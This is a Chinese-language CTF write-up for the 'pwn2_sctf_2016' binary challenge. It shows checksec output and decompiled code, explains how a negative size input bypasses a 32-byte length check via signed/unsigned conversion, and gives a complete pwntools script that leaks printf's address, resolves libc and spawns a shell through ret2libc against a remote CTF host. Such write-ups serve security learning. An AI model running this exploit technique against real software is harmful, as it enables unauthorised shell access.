首先 废话不多说 我们先Checksec观察一下;

[*****] '/home/Retr0mous/ctf/ctthub/Ctfhub/pwn2_sctf_2016'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000`

发现只开起了Nx保护 也就是栈中不可执行 那么不是ret2shellcode的话 就是ret2libc
我们直接反编译看一下

int vuln()
{
  unsigned int v1; // [esp-44h] [ebp-44h]
  unsigned int v2; // [esp-44h] [ebp-44h]
  int v3; // [esp-2Ch] [ebp-2Ch]
  signed int v4; // [esp-Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)&v3, 4, v1);
  v4 = atoi((const char *)&v3);
  if ( v4 > 32 )
    return printf("No! That size (%d) is too large!\n", v4);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v4);
  get_n((int)&v3, v4, v2);
  return printf("You said: %s\n", &v3);
}

还有一个get_n函数

unsigned int __cdecl get_n(int a1, int a2, unsigned int a3)
{
  unsigned int v3; // eax
  unsigned int result; // eax
  char v5; // [esp-Dh] [ebp-Dh]
  unsigned int v6; // [esp-Ch] [ebp-Ch]

  v6 = 0;
  while ( 1 )
  {
    v5 = getchar();
    if ( !v5 || v5 == 10 || v6 >= a3 )
      break;
    v3 = v6++;
    *(_BYTE *)(v3 + a2) = v5;
  }
  result = a2 + v6;
  *(_BYTE *)(a2 + v6) = 0;
  return result;
}

是一个看似普普通通的程序 但是 他对gets函数做出了限制 当gets大于32时 退出 只有gets小于32的时候 才可以继续执行 那么现在该怎么办呢?

学习过C语言的同学 对这一张表格肯定很熟悉

类型存储大小值范围
char1 字节-128 到 127 或 0 到 255
unsigned char1 字节0 到 255
signed char1 字节-128 到 127
int2 或 4 字节-32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647
unsigned int2 或 4 字节0 到 65,535 或 0 到 4,294,967,295
short2 字节-32,768 到 32,767
unsigned short2 字节0 到 65,535
long4 字节-2,147,483,648 到 2,147,483,647
unsigned long4 字节0 到 4,294,967,295

可以看到 在int处 int 和 unsigned int在负数层面相差非常多 而在unsigned int中 如果目标是负数的时候 则会用正数补齐 所有这时候我们输入负数 一个非常滑稽的事情就会发生;

How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

???? 直接给了我们个 十 百 千 万......个位来进行栈溢出 那么 我们的思路就有了!
思路

Exp

from pwn import *
from LibcSearcher import *
from time import sleep
context(os='linux', arch='arm64', log_level='debug')
r = remote("node3.buuoj.cn",28019)
elf = ELF('./pwn2_sctf_2016')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
start_addr = elf.sym['main']
#print(printf_got)
#print(printf_plt)
r.recvuntil('How many bytes do you want me to read?')
r.sendline('-1')
r.recvuntil("Ok, sounds good. Give me 4294967295 bytes of data!\n")
payload = b'a' * (0x2c+4) + p32(printf_plt) + p32(start_addr) + p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))#接受
libc = LibcSearcher('printf',printf_addr)
#上面泄漏libc
base = printf_addr - libc.dump('printf')
system_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read?')
r.sendline('-1')
r.recvuntil("Ok, sounds good. Give me 4294967295 bytes of data!\n")
payload = b'a' * (0x2c+4) + p32(system_addr) + p32(start_addr) + p32(bin_sh)
r.sendline(payload)
r.interactive()
最后修改:2021 年 05 月 02 日 06 : 02 PM
如果觉得我的文章对你有用,请随意赞赏